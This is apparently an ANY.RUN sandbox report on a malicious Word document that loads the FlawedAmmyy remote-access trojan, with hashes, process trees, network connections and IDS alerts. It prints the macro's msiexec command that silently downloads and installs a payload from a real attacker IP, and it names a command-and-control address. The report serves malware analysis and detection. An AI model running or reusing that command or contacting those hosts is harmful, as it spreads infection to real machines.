analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

1.doc

Full analysis: https://app.any.run/tasks/62c09cb0-9fc6-4cd5-a6ca-5d9f02eb391e
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Malware Trends Tracker     >>>
Analysis date: February 19, 2019, 04:11:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
exe-to-msi
rat
flawedammyy
ammyy
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 20:07:00 2019, Last Saved Time/Date: Mon Feb 18 20:07:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 137, Security: 0
MD5:

93E5AF41B2994E60FE1655994DCC1FC3

SHA1:

0DF9F97D57786EBDC54C95218DE8BB762E32ABBA

SHA256:

32318477E1C624E585C61546FAE2059D2FF8F3732A988E890665C2D81B3651CC

SSDEEP:

768:5pMLELemEgZnQgW5tmhdMgNMVkefr0VTEJ6eSX:5LLemXZQgW5IYgNlPoJ6vX

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 2308)
      • wsus.exe (PID: 3208)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2948)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3604)

    • Loads the Task Scheduler COM API

      • MSI7B3E.tmp (PID: 3580)

    • Downloads executable files from IP

      • msiexec.exe (PID: 3604)

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2948)

    • Changes the autorun value in the registry

      • MSI7B3E.tmp (PID: 3580)

    • Loads the Task Scheduler DLL interface

      • MSI7B3E.tmp (PID: 3580)

    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 2308)

    • Connects to CnC server

      • wsus.exe (PID: 2308)

  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3604)

    • Creates files in the program directory

      • MSI7B3E.tmp (PID: 3580)

    • Executable content was dropped or overwritten

      • MSI7B3E.tmp (PID: 3580)
      • msiexec.exe (PID: 3604)

    • Starts CMD.EXE for commands execution

      • MSI7B3E.tmp (PID: 3580)

    • Creates files in the Windows directory

      • MSI7B3E.tmp (PID: 3580)

  • INFO

    • Application was dropped or rewritten from another process

      • MSI7B3E.tmp (PID: 3580)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3604)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2948)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3604)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2948)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: 1
Subject: -
Author: 1
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:02:18 20:07:00
ModifyDate: 2019:02:18 20:07:00
Pages: 1
Words: 23
Characters: 137
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 159
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 1
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs msiexec.exe no specs msiexec.exe msi7b3e.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2948"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\1.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2248"C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://185.17.120.235/select /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3604C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3580"C:\Windows\Installer\MSI7B3E.tmp"C:\Windows\Installer\MSI7B3E.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
2308"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSI7B3E.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Version:
1.18.2.51920
3464"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7B3E.tmp >> NULC:\Windows\system32\cmd.exe—MSI7B3E.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3208"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exe—taskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
3356"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7B3E.tmp >> NULC:\Windows\system32\cmd.exe—MSI7B3E.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 260
Read events
819
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
6
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6CB5.tmp.cvr —
MD5:—
SHA256:—
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF53B59A553E2A2461.TMP —
MD5:—
SHA256:—
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF4914CBC1EDF5D9F4.TMP —
MD5:—
SHA256:—
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF5ED549E41E18D057.TMP —
MD5:—
SHA256:—
3604msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFCF31E0F12C2988F0.TMP —
MD5:—
SHA256:—
2948WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:5E2041FDA144453159427A44F1671FF2
SHA256:DADC67B011C595DC89FECEA682D77EFF235948180174F716411FB54E49BF309A
3604msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
3604msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:7E6B8E282FA6DDA00603621B7E182DBE
SHA256:28A80C89C71E9854432C7580338FD1419A0E9198D5B05DE1B9050DE46123E534
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:A65F69584E483DB791C3E6463C26B4B2
SHA256:09653C7F1D6FA3A4D509EC578BC46E1F842ACC47CBD7274361265E6DEDBFD0FD
3604msiexec.exeC:\Windows\Installer\MSI7773.tmpexecutable
MD5:C19F4137DA7C2D9E5A6A26EFE3FC0F9A
SHA256:10987FB8AB8275F9DE9B8F4F1434CAC08D03B659BF69F81FDB5659F7A0253079
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3604
msiexec.exe
GET
200
185.17.120.235:80
http://185.17.120.235/select
RU
executable
168 Kb
suspicious
3580
MSI7B3E.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat1.omg
RU
binary
657 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3604
msiexec.exe
185.17.120.235:80
—
Leaseweb Deutschland GmbH
RU
suspicious
3580
MSI7B3E.tmp
185.17.120.235:80
—
Leaseweb Deutschland GmbH
RU
suspicious
2308
wsus.exe
185.99.133.2:80
—
Zappie Host LLC
NZ
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3604
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3604
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2308
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
2308
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
2308
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
2308
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSI7B3E.tmp
C:\ProgramData\Microsofts Help\template_11ae330.DATAHASH
MSI7B3E.tmp
--End Dowload--
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
1.doc